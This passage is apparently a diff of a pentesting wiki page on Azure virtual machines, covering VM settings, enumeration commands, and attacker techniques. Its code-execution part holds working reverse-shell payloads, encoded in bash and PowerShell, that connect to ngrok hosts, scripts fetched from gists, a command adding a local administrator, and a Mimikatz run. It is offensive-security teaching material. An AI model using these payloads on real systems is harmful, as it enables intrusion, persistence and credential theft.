-  * **Advanced**: Select a security group
-* **Backup**: It's possible to enable **Standard** backup (one a day) and **Enhanced** (multiple per day)
-* **Patch orchestration options**: This enable to automatically apply patches in the VMs according to the selected policy as described in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
-* **Alerts**: It's possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
-  * Percentage CPU is greater than 80%
-  * Available Memory Bytes is less than 1GB
-  * Data Disks IOPS Consumed Percentage is greater than 95%
-  * OS IOPS Consumed Percentage is greater than 95%
-  * Network in Total is greater than 500GB
-  * Network Out Total is greater than 200GB
-  * VmAvailabilityMetric is less than 1
-* **Heath monitor**: By default check protocol HTTP in port 80
-* **Locks**: It allows to lock a VM so it can only be read (**ReadOnly** lock) or it can be read and updated but not deleted (**CanNotDelete** lock).
-  * Most VM related resources **also support locks** like disks, snapshots...
-  * Locks can also be applied at **resource group and subscription levels**
+- **Availability Zones**: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
+- **Security Type**:
+  - **Standard Security**: This is the default security type that does not require any specific configuration.
+  - **Trusted Launch**: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
+  - **Confidential VMs**: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and [**more**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
+- **Authentication**: By default a new **SSH key is generated**, although it's possible to use a public key or use a previous key and the username by default is **azureuser**. It's also possible to configure to use a **password.**
+- **VM disk encryption:** The disk is encrypted at rest by default using a platform managed key.
+  - It's also possible to enable **Encryption at host**, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
+- **NIC network security group**:
+  - **None**: Basically opens every port
+  - **Basic**: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
+  - **Advanced**: Select a security group
+- **Backup**: It's possible to enable **Standard** backup (one a day) and **Enhanced** (multiple per day)
+- **Patch orchestration options**: This enable to automatically apply patches in the VMs according to the selected policy as described in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
+- **Alerts**: It's possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
+  - Percentage CPU is greater than 80%
+  - Available Memory Bytes is less than 1GB
+  - Data Disks IOPS Consumed Percentage is greater than 95%
+  - OS IOPS Consumed Percentage is greater than 95%
+  - Network in Total is greater than 500GB
+  - Network Out Total is greater than 200GB
+  - VmAvailabilityMetric is less than 1
+- **Heath monitor**: By default check protocol HTTP in port 80
+- **Locks**: It allows to lock a VM so it can only be read (**ReadOnly** lock) or it can be read and updated but not deleted (**CanNotDelete** lock).
+  - Most VM related resources **also support locks** like disks, snapshots...
+  - Locks can also be applied at **resource group and subscription levels**
 
 ## Disks & snapshots
 
-* It's possible to **enable to attach a disk to 2 or more VMs**
-* By default every disk is **encrypted** with a platform key.
-  * Same in snapshots
-* By default it's possible to **share the disk from all networks**, but it can also be **restricted** to only certain **private acces**s or to **completely disable** public and private access.
-  * Same in snapshots
-* It's possible to **generate a SAS URI** (of max 60days) to **export the disk**, which can be configured to require authentication or not
-  * Same in snapshots
+- It's possible to **enable to attach a disk to 2 or more VMs**
+- By default every disk is **encrypted** with a platform key.
+  - Same in snapshots
+- By default it's possible to **share the disk from all networks**, but it can also be **restricted** to only certain **private acces**s or to **completely disable** public and private access.
+  - Same in snapshots
+- It's possible to **generate a SAS URI** (of max 60days) to **export the disk**, which can be configured to require authentication or not
+  - Same in snapshots
+
+{{#tabs}}
+{{#tab name="az cli"}}
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
 ```bash
 # List all disks
 az disk list --output table
@@ -76,11 +63,10 @@ az disk list --output table
 # Get info about a disk
 az disk show --name <disk-name> --resource-group <rsc-group>
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+{{#endtab}}
+{{#tab name="PowerShell"}}
+
 ```powershell
 # List all disks
 Get-AzDisk
@@ -88,9 +74,9 @@ Get-AzDisk
 # Get info about a disk
 Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab}}
+{{#endtabs}}
 
 ## Images, Gallery Images & Restore points
 
@@ -99,9 +85,9 @@ Images can be managed in the **Images section** of Azure or inside **Azure compu
 
 A **restore point** stores the VM configuration and **point-in-time** application-consistent **snapshots of all the managed disks** attached to the VM. It's related to the VM and its purpose is to be able to restore that VM to how it was in that specific point in it.
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs}}
+{{#tab name="az cli"}}
+
 ```bash
 # Shared Image Galleries | Compute Galleries
 ## List all galleries and get info about one
@@ -112,19 +98,19 @@ az sig show --gallery-name <name> --resource-group <rsc-group>
 az sig list-community --output table
 
 ## List galleries shaerd with me
-az sig list-shared --location <location> --output table 
+az sig list-shared --location <location> --output table
 
 ## List all image definitions in a gallery and get info about one
 az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
 az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
 
-## List all the versions of an image definition in a gallery 
+## List all the versions of an image definition in a gallery
 az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
 
 ## List all VM applications inside a gallery
 az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
 
-# Images 
+# Images
 # List all managed images in your subscription
 az image list --output table
 
@@ -133,11 +119,10 @@ az image list --output table
 az restore-point collection list-all --output table
 az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+{{#endtab}}
+{{#tab name="PowerShell"}}
+
 ```powershell
 ## List all galleries and get info about one
 Get-AzGallery
@@ -147,13 +132,13 @@ Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
 Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
 Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>
 
-## List all the versions of an image definition in a gallery 
+## List all the versions of an image definition in a gallery
 Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
 
 ## List all VM applications inside a gallery
 Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
 
-# Images 
+# Images
 # List all managed images in your subscription
 Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
 
@@ -161,9 +146,9 @@ Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
 ## List all restore points and get info about 1
 Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab}}
+{{#endtabs}}
 
 ## Azure Site Recovery
 
@@ -177,9 +162,9 @@ The Bastion deploys a subnet called **`AzureBastionSubnet`** with a `/26` netmas
 
 To list all Azure Bastion Hosts in your subscription and connect to VMs through them, you can use the following commands:
 
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
+{{#tabs}}
+{{#tab name="az cli"}}
+
 ```bash
 # List bastions
 az network bastion list -o table
@@ -202,18 +187,17 @@ az network bastion rdp \
   --username <VM_USERNAME> \
   --password <VM_PASSWORD>
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+{{#endtab}}
+{{#tab name="PowerShell"}}
+
 ```powershell
 # List bastions
 Get-AzBastion
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab}}
+{{#endtabs}}
 
 ## Metadata
 
@@ -223,11 +207,12 @@ Moreover, to contact the metadata endpoint, the HTTP request must have the heade
 
 Check how to enumerate it in:
 
-{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
+{{#endref}}
 
 ## VM Enumeration
 
-{% code overflow="wrap" %}
 ```bash
 # VMs
 ## List all VMs and get info about one
@@ -275,19 +260,19 @@ az sig show --gallery-name <name> --resource-group <rsc-group>
 az sig list-community --output table
 
 ## List galleries shared with me
-az sig list-shared --location <location> --output table 
+az sig list-shared --location <location> --output table
 
 ## List all image definitions in a gallery and get info about one
 az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
 az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
 
-## List all the versions of an image definition in a gallery 
+## List all the versions of an image definition in a gallery
 az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
 
 ## List all VM applications inside a gallery
 az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
 
-# Images 
+# Images
 # List all managed images in your subscription
 az image list --output table
 
@@ -363,9 +348,6 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
 # List all available run commands for virtual machines
 az vm run-command list --output table
 ```
-{% endcode %}
-
-
 
 ```powershell
 # Get readable VMs
@@ -385,6 +367,7 @@ Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>
 Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
 Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)
 
+
 # Disks
 ## List all disks and get info about one
 Get-AzDisk
@@ -403,13 +386,13 @@ Get-AzSnapshot -Name <SnapshotName> -ResourceGroupName <ResourceGroupName>
 Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
 Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>
 
-## List all the versions of an image definition in a gallery 
+## List all the versions of an image definition in a gallery
 Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
 
 ## List all VM applications inside a gallery
 Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
 
-# Images 
+# Images
 # List all managed images in your subscription
 Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
 
@@ -423,7 +406,7 @@ Get-AzBastion
 
 # Network
 ## List all VNets in your subscription
-Get-AzVirtualNetwork 
+Get-AzVirtualNetwork
 
 ## List VNet peering connections for a given VNet
 (Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).VirtualNetworkPeerings
@@ -455,6 +438,7 @@ Get-AzStorageAccount
 
 ## List all custom script extensions on a specific VM
 Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
+
 ```
 
 ## Code Execution in VMs
@@ -469,9 +453,9 @@ The required permission is **`Microsoft.Compute/virtualMachines/extensions/write
 
 It's possible to list all the available extensions with:
 
-{% tabs %}
-{% tab title="Az Cli" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="Az Cli" }}
+
 ```bash
 # It takes some mins to run
 az vm extension image list --output table
@@ -479,26 +463,25 @@ az vm extension image list --output table
 # Get extensions by publisher
 az vm extension image list --publisher "Site24x7" --output table
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+{{#tab name="PowerShell" }}
+
 ```powershell
 # It takes some mins to run
 Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 It's possible to **run custom extensions that runs custom code**:
 
-{% tabs %}
-{% tab title="Linux" %}
-* Execute a revers shell
+{{#tabs }}
+{{#tab name="Linux" }}
+
+- Execute a revers shell
 
-{% code overflow="wrap" %}
 ```bash
 # Prepare the rev shell
 echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
@@ -514,11 +497,9 @@ az vm extension set \
   --settings '{}' \
   --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
 ```
-{% endcode %}
 
-* Execute a script located on the internet
+- Execute a script located on the internet
 
-{% code overflow="wrap" %}
 ```bash
 az vm extension set \
   --resource-group rsc-group> \
@@ -529,13 +510,13 @@ az vm extension set \
   --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
   --protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="Windows" %}
-* Execute a reverse shell
+{{#endtab }}
+
+{{#tab name="Windows" }}
+
+- Execute a reverse shell
 
-{% code overflow="wrap" %}
 ```bash
 # Get encoded reverse shell
 echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -551,11 +532,9 @@ az vm extension set \
   --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
 
 ```
-{% endcode %}
 
-* Execute reverse shell from file
+- Execute reverse shell from file
 
-{% code overflow="wrap" %}
 ```bash
 az vm extension set \
   --resource-group <rsc-group> \
@@ -566,21 +545,19 @@ az vm extension set \
   --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
   --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
 ```
-{% endcode %}
 
 You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
 
-* Reset password using the VMAccess extension
+- Reset password using the VMAccess extension
 
-{% code overflow="wrap" %}
 ```powershell
 # Run VMAccess extension to reset the password
 $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
 Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### Relevant VM extensions
 
@@ -592,13 +569,11 @@ The required permission is still **`Microsoft.Compute/virtualMachines/extensions
 
 This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
 
-{% code overflow="wrap" %}
 ```powershell
 # Run VMAccess extension to reset the password
 $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
 Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
 ```
-{% endcode %}
 
 </details>
 
@@ -668,7 +643,6 @@ This is a VM extension that would allow to execute runbooks in VMs from an autom
 
 These are packages with all the **application data and install and uninstall scripts** that can be used to easily add and remove application in VMs.
 
-{% code overflow="wrap" %}
 ```bash
 # List all galleries in resource group
 az sig list --resource-group <res-group> --output table
@@ -676,33 +650,32 @@ az sig list --resource-group <res-group> --output table
 # List all apps in a fallery
 az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
 ```
-{% endcode %}
 
 These are the paths were the applications get downloaded inside the file system:
 
-* Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
-* Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
+- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
+- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
 
 Check how to install new applications in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
 
-{% hint style="danger" %}
-It's possible to **share individual apps and galleries with other subscriptions or tenants**. Which is very interesting because it could allow an attacker to backdoor an application and pivot to other subscriptions and tenants.
-{% endhint %}
+> [!CAUTION]
+> It's possible to **share individual apps and galleries with other subscriptions or tenants**. Which is very interesting because it could allow an attacker to backdoor an application and pivot to other subscriptions and tenants.
 
 But there **isn't a "marketplace" for vm apps** like there is for extensions.
 
 The permissions required are:
 
-* `Microsoft.Compute/galleries/applications/write`
-* `Microsoft.Compute/galleries/applications/versions/write`
-* `Microsoft.Compute/virtualMachines/write`
-* `Microsoft.Network/networkInterfaces/join/action`
-* `Microsoft.Compute/disks/write`
+- `Microsoft.Compute/galleries/applications/write`
+- `Microsoft.Compute/galleries/applications/versions/write`
+- `Microsoft.Compute/virtualMachines/write`
+- `Microsoft.Network/networkInterfaces/join/action`
+- `Microsoft.Compute/disks/write`
 
 Exploitation example to execute arbitrary commands:
 
-{% tabs %}
-{% tab title="Linux" %}
+{{#tabs }}
+{{#tab name="Linux" }}
+
 ```bash
 # Create gallery (if the isn't any)
 az sig create --resource-group myResourceGroup \
@@ -737,10 +710,11 @@ az vm application set \
    --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
    --treat-deployment-as-failure true
 ```
-{% endtab %}
 
-{% tab title="Windows" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="Windows" }}
+
 ```bash
 # Create gallery (if the isn't any)
 az sig create --resource-group <rsc-group> \
@@ -779,9 +753,9 @@ az vm application set \
    --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
    --treat-deployment-as-failure true
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ### User data
 
@@ -791,12 +765,12 @@ This is **persistent data** that can be retrieved from the metadata endpoint at
 
 It's possible to pass some data to the VM that will be stored in expected paths:
 
-* In **Windows** custom data is placed in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as a binary file and it isn't processed.
-* In **Linux** it was stored in `/var/lib/waagent/ovf-env.xml` and now it's stored in `/var/lib/waagent/CustomData/ovf-env.xml`
-  * **Linux agent**: It doesn't process custom data by default, a custom image with the data enabled is needed
-  * **cloud-init:** By default it processes custom data and this data may be in [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). It could execute a script easily sending just the script in the custom data.
-    * I tried that both Ubuntu and Debian execute the script you put here.
-    * It's also not needed to enable user data for this to be executed.
+- In **Windows** custom data is placed in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as a binary file and it isn't processed.
+- In **Linux** it was stored in `/var/lib/waagent/ovf-env.xml` and now it's stored in `/var/lib/waagent/CustomData/ovf-env.xml`
+  - **Linux agent**: It doesn't process custom data by default, a custom image with the data enabled is needed
+  - **cloud-init:** By default it processes custom data and this data may be in [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). It could execute a script easily sending just the script in the custom data.
+    - I tried that both Ubuntu and Debian execute the script you put here.
+    - It's also not needed to enable user data for this to be executed.
 
 ```bash
 #!/bin/sh
@@ -807,8 +781,9 @@ echo "Hello World" > /var/tmp/output.txt
 
 This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs**. The needed permission is `Microsoft.Compute/virtualMachines/runCommand/action`.
 
-{% tabs %}
-{% tab title="Linux" %}
+{{#tabs }}
+{{#tab name="Linux" }}
+
 ```bash
 # Execute rev shell
 az vm run-command invoke \
@@ -820,10 +795,11 @@ az vm run-command invoke \
 # revshell.sh file content
 echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
 ```
-{% endtab %}
 
-{% tab title="Windows" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="Windows" }}
+
 ```bash
 # The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
 # Execute a rev shell
@@ -840,7 +816,7 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1
 ## In Package file link just add any link to a blobl storage file
 export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
 
-# The content of 
+# The content of
 echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
 
 
@@ -848,51 +824,38 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
 Import-module MicroBurst.psm1
 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 ## Privilege Escalation
 
-{% content-ref url="../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md" %}
-[az-virtual-machines-and-network-privesc.md](../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
+{{#endref}}
 
 ## Unauthenticated Access
 
-{% content-ref url="../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md" %}
-[az-vms-unath.md](../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md)
-{% endcontent-ref %}
+{{#ref}}
+../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
+{{#endref}}
 
 ## Post Exploitation
 
-{% content-ref url="../../az-post-exploitation/az-vms-and-network-post-exploitation.md" %}
-[az-vms-and-network-post-exploitation.md](../../az-post-exploitation/az-vms-and-network-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../../az-post-exploitation/az-vms-and-network-post-exploitation.md
+{{#endref}}
 
 ## Persistence
 
-{% content-ref url="../../az-persistence/az-vms-persistence.md" %}
-[az-vms-persistence.md](../../az-persistence/az-vms-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../../az-persistence/az-vms-persistence.md
+{{#endref}}
 
 ## References
 
-* [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
-* [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
-* [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)
+- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
+- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
+- [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
